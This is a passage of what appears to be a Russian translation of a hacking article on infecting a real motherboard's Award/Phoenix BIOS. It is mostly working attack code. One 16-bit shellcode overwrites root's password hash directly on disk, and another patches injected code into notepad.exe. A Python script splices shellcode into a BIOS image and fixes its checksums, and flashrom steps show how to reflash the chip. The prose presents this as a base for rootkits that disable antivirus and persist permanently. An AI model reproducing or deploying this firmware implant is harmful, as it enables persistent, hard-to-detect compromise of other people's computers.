---[3.1.5.1 - Готовый сигнал
В VMWare мы видели, что когда наша подгрузка на второй стадии, и IVT уже инициализирован, у нас есть все, что нам нужно. Исходя из этого мы решили использовать IVT инициализацию, как сигнал готовности. Это очень просто, потому что всегда отображается на 0000:0000. Каждый раз, когда шеллкод запускается на выполнение, проверяем, инициализируется ли IVT с правильными указателями, выполняется ли шеллкод, если нет, то возвращается, ничего не делая.
---[3.1.5.1 - The Real stuff
Что же мы будем делать теперь, когда у нас есть исполняемый код, и мы знаем, что у нас есть все сервисы? Мы не можем взаимодействовать с ОС отсюда. В этот момент операционная система просто массив символов, находящийся на диске. Погоди! Мы же имеем доступ к диску через Int 13h (низкоуровневая служба). Мы можем изменить его в любое время, какое нам нужно! Оке, давай попробуем это проделать. При реальной реализации вредоносного кода тебе нужно накодить некий основной драйвер, чтобы корректно различать файловые системы, по крайней мере FAT и NTFS (возможно также использование GRUB или LILO). Для этой статьи, в доказательство концепции, мы будем использовать Int 13h для последовательного чтения диска в нестандартном режиме. Мы будем реализовывать все это дело через (_о_), но как мы говорили ранее, в общем случае, изменение, добавление и удаление любых файлов на диске позволет злоумышленнику изменять модули драйверов, заражать файлы, отключать антивирус или антируткиты и т.д.
Используем шеллкод, с помощью которого мы просмотрим весь диск в соответствии с маской: "root:$", чтобы найти запись /etc/passwd. Затем мы заменим root хэш нашим собственным хэшем, установив пароль "root" для суперпользователя.
Код:
Code:
-------------------------------------------------------------
; The shellcode doesn't have any type of optimization, we tried to keep it
; simple, 'for educational purposes'
; 16 bit shellcode
; use LBA disk access to change root password to 'root'
BITS 16
push es
push ds
pushad
pushf
; Get code address
call gca
gca: pop bx
; construct DAP
push cs
pop ds
mov si,bx
add si,0x1e0 ; DAP 0x1e0 from code
mov cx,bx
add cx,0x200 ; Buffer pointer 0x200 from code
mov byte [si],16 ;size of SAP
inc si
mov byte [si],0 ;reserved
inc si
mov byte [si],1 ;number of sectors
inc si
mov byte [si],0 ;unused
inc si
mov word [si],cx ;buffer segment
add si,2
mov word [si],ds;buffer offset
add si,2
mov word [si],0 ; sector number
add si,2
mov word [si],0 ; sector number
add si,2
mov word [si],0 ; sector number
add si,2
mov word [si],0 ; sector number
mov di,0
mov si,0
mainloop:
push di
push si
;-------- Inc sector number
mov cx,3
mov si,bx
add si,0x1e8
loopinc:
mov ax,word [si]
inc ax
mov word [si],ax
cmp ax,0
jne incend
add si,2
loop loopinc
incend:
;-------- LBA extended read sector
mov ah,0x42 ; call number
mov dl,0x80 ; drive number 0x80=first hd
mov si,bx
add si,0x1e0
int 0x13
jc mainend
nop
nop
nop
;-------- Search for 'root'
mov di,bx
add di,0x200 ; pointer to buffer
mov cx,0x200 ; 512 bytes per sector
searchloop:
cmp word [di],'ro'
jne notfound
cmp word [di+2],'ot'
jne notfound
cmp word [di+4],':$'
jne notfound
jmp found ; root found!
notfound:
inc di
loop searchloop
endSearch:
pop si
pop di
inc di
cmp di,0
jne mainloop
inc si
cmp si,3
jne mainloop
mainend:
popf
popad
pop ds
pop es
int 3
found:
;replace password with:
;root:$2a$08$Grx5rDVeDJ9AXXlXOobffOkLOnFyRjk2N0/4S8Yup33sD43wSHFzi:
;Yes we could've used rep movsb, but we kinda suck.
mov word[di+6],'2a'
mov word[di+8],'$0'
mov word[di+10],'8$'
mov word[di+12],'Gr'
mov word[di+14],'rD'
mov word[di+16],'Ve'
mov word[di+18],'DJ'
mov word[di+20],'9A'
mov word[di+22],'XX'
mov word[di+24],'lX'
mov word[di+26],'Oo'
mov word[di+28],'bf'
mov word[di+30],'fO'
mov word[di+32],'kL'
mov word[di+34],'On'
mov word[di+36],'Fy'
mov word[di+38],'Rj'
mov word[di+40],'k2'
mov word[di+42],'N0'
mov word[di+44],'/4'
mov word[di+46],'S8'
mov word[di+48],'Yu'
mov word[di+52],'p3'
mov word[di+54],'3s'
mov word[di+56],'D4'
mov word[di+58],'3w'
mov word[di+60],'SH'
mov word[di+62],'Fz'
mov word[di+64],'i:'
;-------- LBA extended write sector
mov ah,0x43 ; call number
mov al,0 ; no verify
mov dl,0x80 ; drive number 0x80=first hd
mov si,bx
add si,0x1e0
int 0x13
jmp mainend
Этот код также представляет собой подгрузку, но в этом случае мы ищем по всему диску, пытаясь сопоставить шаблон внутри notepad.exe, и затем вводим кусок кода с простым вызовом MessaBoxA и ExitProcess, для его красивого завершения.
Код:
Code:
hook_start:
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
;jmp hook_start
;mov bx,es
;mov fs,bx
;mov ds,ax
;retf
pusha
pushf
xor di,di
mov ds,di
; check to see if int 19 is initialized
cmp byte [0x19*4],0x00
jne ifint
noint:
;jmp noint ; loop to debug
popf
popa
;mov es, ax
mov bx, es
mov fs, bx
mov ds, ax
retf
ifint:
;jmp ifint ; loop to debug
cmp byte [0x19*4],0x46
je noint
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
initShellcode:
;jmp initShellcode ; DEBUG
cli
push es
push ds
pushad
pushf
; Get code address
call gca
gca:
pop bx
;---------- Set screen mode
mov ax,0x0003
int 0x10
;---------- construct DAP
push cs
pop ds
mov si,bx
add si,0x2e0 ; DAP 0x2e0 from code
mov cx,bx
add cx,0x300 ; Buffer pointer 0x300 from code
mov byte [si],16 ;size of SAP
inc si
mov byte [si],0 ;reserved
inc si
mov byte [si],1 ;number of sectors
inc si
mov byte [si],0 ;unused
inc si
mov word [si],cx ;buffer segment
add si,2
mov word [si],ds;buffer offset
add si,2
mov word [si],0 ; sector number
add si,2
mov word [si],0 ; sector number
add si,2
mov word [si],0 ; sector number
add si,2
mov word [si],0 ; sector number
mov di,0
mov si,0
;-------- Function 41h: Check Extensions
push bx
mov ah,0x41 ; call number
mov bx,0x55aa;
mov dl,0x80 ; drive number 0x80=first hd
int 0x13
pop bx
jc mainend_near
;-------- Function 00h: Reset Disk System
mov ah, 0x00
int 0x13
jc mainend_near
jmp mainloop
mainend_near:
jmp mainend
mainloop:
cmp di,0
jne nochar
;------- progress bar (ABCDE....)
push bx
mov ax,si
mov ah,0x0e
add al,0x41
mov bx,0
int 0x10
pop bx
nochar:
push di
push si
;jmp incend ;
;-------- Inc sector number
mov cx,3
mov si,bx ; bx = curr_pos
add si,0x2e8 ; +2e8 LBA Buffer
loopinc:
mov ax,word [si]
inc ax
mov word [si],ax
cmp ax,0
jne incend
add si,2
loop loopinc
incend:
LBA_read:
;jmp int_test
;-------- LBA extended read sector
mov ah,0x42 ; call number
mov dl,0x80 ; drive number 0x80=first hd
mov si,bx
add si,0x2e0
int 0x13
jnc int13_no_err
;-------- Write error character
push bx
mov ax,0x0e45
mov bx,0x0000
int 0x10
pop bx
int13_no_err:
;-------- Search for 'root'
mov di,bx
add di,0x300 ; pointer to buffer
mov cx,0x200 ; 512 bytes per sector
searchloop:
cmp word [di],0x706a
jne notfound
cmp word [di+2],0x9868
jne notfound
;debugme:
; je debugme
cmp word [di+4],0x0018
jne notfound
cmp word [di+6],0xe801
jne notfound
jmp found ; root found!
notfound:
inc di
loop searchloop
endSearch:
pop si
pop di
inc di
cmp di,0
jne mainloop
inc si
cmp si,EXTENT ;------------ 10x65535 sectors to read
jne mainloop
jmp mainend
exit_error:
pop si
pop di
mainend:
popf
popad
pop ds
pop es
sti
popf
popa
mov bx, es
mov fs, bx
mov ds, ax
retf
writechar:
push bx
mov ah,0x0e
mov bx,0x0000
int 0x10
pop bx
ret
found:
mov al,0x46
call writechar
;mov word[di], 0xfeeb ; Infinite loop - Debug
mov word[di], 0x00be
mov word[di+2], 0x0100
mov word[di+4], 0xc700
mov word[di+6], 0x5006
mov word[di+8], 0x4e57
mov word[di+10], 0xc744
mov word[di+12], 0x0446
mov word[di+14], 0x2121
mov word[di+16], 0x0100
mov word[di+18], 0x016a
mov word[di+20], 0x006a
mov word[di+22], 0x6a56
mov word[di+24], 0xbe00
mov word[di+26], 0x050b
mov word[di+28], 0x77d8
mov word[di+30], 0xd6ff
mov word[di+32], 0x00be
mov word[di+34], 0x0000
mov word[di+36], 0x5600
mov word[di+38], 0xa2be
mov word[di+40], 0x81ca
mov word[di+42], 0xff7c
mov word[di+44], 0x90d6
;-------- LBA extended write sector
mov ah,0x43 ; call number
mov al,0 ; no verify
mov dl,0x80 ; drive number 0x80=first hd
mov si,bx
add si,0x2e0
int 0x13
jmp notfound; continue searching
nop
---[3.2 - Реальные модификации BIOS
VMWare - отлично подходит для исследования BIOS и разработоки платформы. Но для завершения этого исследования, мы должны атаковать реальную систему. Для этого мы использовали обычную материнскую плату (Asus A7V8X-MX) очень популярной версией Award-Phoenix 6.00 PG BIOS.
---[3.2.1 - Дамп прошивки BIOS
Флэш-микросхемы отлично совместимы, и даже взаимозаменяемы. Но они подключаются к материнской плате по-разному (PCI, ISA bridge, и т.д.), что, в общем случае, делает чтение довольно сложной адачей. Как же мы сможем сделать руткит, если мы даже не можем найти способ надежно читать память? Конечно, одним из решений может являться Flash reader, но на данном этапе мы его не имеем, и это не вариант, если ты хочешь удаленно заразить BIOS без физического доступа. Поэтому мы начали искать программные альтернативы. Первый инструмент, который мы нашли, работал неплохо. Это утилита FlashROM от проекта coreboot с открытым исходным кодом, см. [COREBOOT] (также имеется в Debian репозиториях). Она содержит обширную базу данных чипов и обладает read/write методами. Мы обнаружили, что она почти всегда работает, даже если придется вручную указать модель IC, потому что утилита не всегда распознает их автоматически.
Код:
Code:
$ flashrom -r mybios.rom
Как правило, команда, указанная выше - это все, что вам нужно. BIOS должен быть в mybios.rom файле. Фишка в том, что если он говорит, что не может обнаружить чип, ты должны написать скрипт, чтобы попытаться заюзать все известные чипы. Нам еще предстоит найти BIOS'ы, которые не могут быть считаны с помощью этой методики. Запись немного сложнее, так как FlashROM'y необходимо правильно определить IC, что позволит ему запись. Это ограничение можно обойти путем изменения исходного кода. Но нужно учитывать, что в этом случае можно нахер спалить свою материнку.
Мы также использовали FlashROM в общем случае для загрузки измененного BIOS на материнскую плату.
---[3.2.2 - Модификация
После того как мы получили образ BIOS, мы можем начать процесс вставки вредоносного кода. При изменении реального BIOS'a, в частности Award / Phoenix BIOS'a, мы столкнулись с некоторыми большими проблемами:
1) отсутствие документации BIOS структуры
2) отсутствие инструментов упаковки / распаковки
3) отсутствие способа отладки оборудования.
Есть множество бесплатных инструментов для управления BIOS, но как всегда получается с собственными разработками форматов, мы не могли найти инструмент, который работал бы именно с нашей прошивкой. Мы можем использовать утилиты Linux awardeco и phnxdeco в качестве отправной точки, но они часто работают со сбоями на современных BIOS версиях.
Наш план для получения исполняемого кода таков:
1) мы должны сделать произвольные изменения (мы должны знать позиции контрольной суммы и алгоритмы)
2) основной код должен быть вставлен в общей, легкодоступной части BIOS.
3) после выполнения кода, может быть вставлен Shellcode.
---[3.2.2.0 - Black Screen of Death
Ты должен понимать, что сломаешь много BIOS чипов, проделывая эти трюки. Но большинство BIOS имеют механизм безопасности для восстановления поврежденной прошивки. RTFM (читаймануалы по
материнской плате).
Если это не поможет, ты можешь использовать чип для "горячей замены": ты грузишься с рабочего чипа, затем делаешь его "горячую замену" на поврежденный, и перепрошиваешь. Конечно, для этой техники у тебя должен быть резервный рабочий BIOS.
--- [3.2.2.1 - Изменение бита в единицу времени
Наши первые попытки были неудачными и почти всегда система не загружалась. В основном мы не обращали внимания, сколько контрольных сумм имеет BIOS, но ты должен будешь пропатчить каждую или лицезреть ошибку "BIOS CHECKSUM ERROR" на черном экране смерти. Черный экран смерти дает нам подсказку, он говорит: "контрольная сумма". Скорее всего он должен быть каким-то дополнением, сравневаемым с числом. И этот вид проверки можно легко обойти, внедряя значение в определенное место, которое будет являться "дополнением". Разве это не весомая причина для создания CRC? Оказывается, что все контрольные суммы были 8-битными, и, коснувшись только одного байта в конце шеллкода, все контрольные суммы были правильными. Можно написать очень простой алгоритм на вложения внутри этого Python скрипта:
Код:
Code:
-------------------------------------------------------------
modifBios.py
#!/usr/bin/python
import os,sys,math
# Usage
if len(sys.argv) " % (sys.argv[0])
exit(0)
# assembly the file
scasm = sys.argv[2]
sccom = "%s.bin" % scasm
os.system("nasm %s -o %s " % (scasm,sccom) )
shellcode = open(sccom,'rb').read()
shellcode = shellcode[0xb55:] # skip the NOPs
os.unlink(sccom)
print ("Shellcode lenght: %d" % len(shellcode))
# Make a copy of the original BIOS
modifname = "%s.modif" % sys.argv[1]
origname = sys.argv[1]
os.system("cp %s %s" % (origname,modifname) )
#merge shellcode with original flash
insertposition = 0x3af75
modif = open(modifname,'rb').read()
os.unlink(modifname)
newbios=modif[:insertposition]
newbios+=shellcode
newbios+=modif[insertposition+len(shellcode):]
modif=newbios
#insert hook
hookposition = 0x3a41d
hook="\xe9\x55\x0b" # here is our hook,
# at the end of the bootblock
newbios=modif[:hookposition]
newbios+=hook
newbios+=modif[hookposition+len(hook):]
modif=newbios
#read original flash
orig = open(sys.argv[1],'rb').read()
# calculate original and modified checksum
# Sorry, this script is not *that* generic
# you will have to harvest these values
# manually, but you can craft an automatic
# one using pattern search.
# These offsets are for the Asus A7V8X-MX
# Revision 1007-001
start_of_decomp_blk=0x3a400
start_of_compensation=0x3affc
end_of_decomp_blk=0x3b000
ochksum=0 # original checksum
mchksum=0 # modified checksum
for i in range(start_of_decomp_blk,start_of_compensation):
ochksum+=ord(orig[i])
mchksum+=ord(modif[i])
print "Checksums: Original= %08X Modified= %08X" % (ochksum,mchksum)
# calculate difference
chkdiff = (mchksum & 0xff) - (ochksum & 0xff)
print "Diff : %08X" % chkdiff
# balance the checksum
newbios=modif[:start_of_compensation]
newbios+=chr( (0x1FF-chkdiff) & 0xff )
newbios+=modif[start_of_compensation+1:]
mchksum=0 # modified checksum
ochksum=0 # modified checksum
for i in range(start_of_decomp_blk,end_of_decomp_blk):
ochksum+=ord(orig[i])
mchksum+=ord(newbios[i])
print "Checksum: Original = %08X Final= %08X" % (ochksum,mchksum)
print "(Please check the last digit, must be the same in both checkums)"
newbiosname=sys.argv[2]+".compensated"
w=open(newbiosname,'wb')
w.write(newbios)
w.close()
print "New bios saved as %s" % newbiosname
-------------------------------------------------------------
С помощью этой техники мы успешно изменяем один бит, один байт и несколько байт на несжатой области BIOS. Первый шаг сделан.
---[3.2.2.1 - Внедрение кода
Вредоносный код находится все в том же месте: блок декомпрессора. Мы также переходим на то же место, что и в инъекции кода VMware: в конце блока декомпрессора в целом было достаточно места для того чтобы сделать довольно приличный первый шеллкод. Подсказка: при поиске "= Award Decompression Bios =" в BIOS Phoenix, имеем блок с пометкой "DECOMPCODE" (с использованием phnxdeco или любого другого инструмента). Техника почти никогда не меняется. Есть несколько пунктов, которые ты должен сделать, чтобы убедиться, что подключился правильно. Во-первых, включить основной вредоносный код, который перебрасывает вперед, а затем возвращает. Задем изменить его, чтобы привести к бесконечному циклу (у нас нет отладчика, поэтому мы должны использовать эту ужасную технику). Если ты можешь контролировать правильную загрузку компьютера и его блокировку, Graz! Теперь у тебя есть код, скрыто выполняющийся из BIOS.
---[3.2.3 - Подгрузка
Теперь у нас есть контроль над BIOS. Ты откапываешь в своей голове навык 16-битного шеллкодинга и пытаешься заюзать 10h INT для вывода "I Pwned J00!" на экран, а затем приступить к использованию INT 13h, чтобы писать на жесткий диск. Не беги вперед паровоза, иначе тебя поглотит черный экран эпик фэйла. Это потому, что у тебя все еще нет полного контроля над BIOS. Для начала впомни, как мы это делали с кодом на VMware: мы исполняли код несколько раз во время процесса загрузки. В первый момент времени диск не вращается, экран по-прежнему выключен и, что самое удивительное, прерывание векторной таблицы не инициализировано. Звучит круто, но на самом деле это большая проблема. Ты не можешь производить запись на диск, если он не вращается, но ты можешь использовать прерывание, если IVT не инициализирован. Тебе следует подождать. Но как мы узнаем, когда для подойдет время для выполнения? Нам опять потребуется некий ready-to-go signal (сигнал готовности).
---[3.2.3.1 - Сигнал готовности
В VMware, мы использовали содержание IVT как сигнал готовности. Шеллкод проверял, готов ли IVT, путем получения от него правильных значений. Это было очень легко, потому что в реальном режиме IVT всегда находится на ожном и том же месте (0000:0000 легко запомнить, кстати). Этот метод - полный отстой, потому что реально ты из этого больше ничего не извлечешь.
Указатели на IVT все время отличаются, даже между версиями одного и того же производителя BIOS. Нам необходима лучшая, превосходящая "работу-на-другом-компьютере-отличном-от-моего" техника. Короче говоря, вот решение, и оно прекрасно работает:
Код:
Code:
Проверьте содержит ли C000:0000 подпись AA55h.
Если условие истинно, то ты можешь выполнять любые перерывания. Суть в том, что в этом точном положении VGA BIOS загружается на всех ПК. И AA55h это подпись, которая говорит нам, что VGA BIOS существует. Это прекрасно для точного определения, был ли загружен VGA BIOS, а затем инициализирован IVT. Предупреждение: Конечно, жесткий диск еще не вращается! Но теперь ты можешь проверить его без сбоев прерыванием 13h, используя функцию 41h для проверки расширения LBA, а затем сделать сброс диск с помощью функции 00h. Пример представлен в разделе 3.1.5.1
Остальное уже история. Ты можешь использовать INT 13h с LBA для проверки готовности диска, и если он готов, то вставить disk-stage rootkit или SMBIOS руткит (см. [PHRACK65]), или BluePill, или I-Love-You вирус, да и вообще, что тебе угодно. Твой код теперь бессмертен.
Кстати, вот второй шеллкод:
Код:
Code:
-------------------------------------------------------------
;skull.asm please use nasm to assemble
BITS 16
back:
TIMES 0x0b55 db 0x90
begin2:
pusha
pushf
push es
push ds
push 0xc000
pop ds
cmp word [0],0xaa55
je print
volver:
pop ds
pop es
popf
popa
pushad
push cx
jmp back
print:
jmp start
;message
; 123456789
msg: db ' .---.',13,10,\
'/ \',13,10,\
'|(\ /)|',13,10,\
'(_ o _)',13,10,\
' |===|',13,10,\
' `-.-`',13,10
times 55-$+msg db ' '
start:
;geteip
call getip
getip:
pop dx
;init video
mov ax,0003
int 0x10
;video write
mov bp,dx
sub bp,58 ; message
;write string
mov ax,0x1300
mov bx,0x0007
mov cx,53
mov dx,0x0400
push cs
pop es
int 0x10
call sleep
jmp volver
sleep:
mov cx, 0xfff
l1:
push cx
mov cx,0xffff
l2:
loop l2
pop cx
loop l1
ret
-------------------------------------------------------------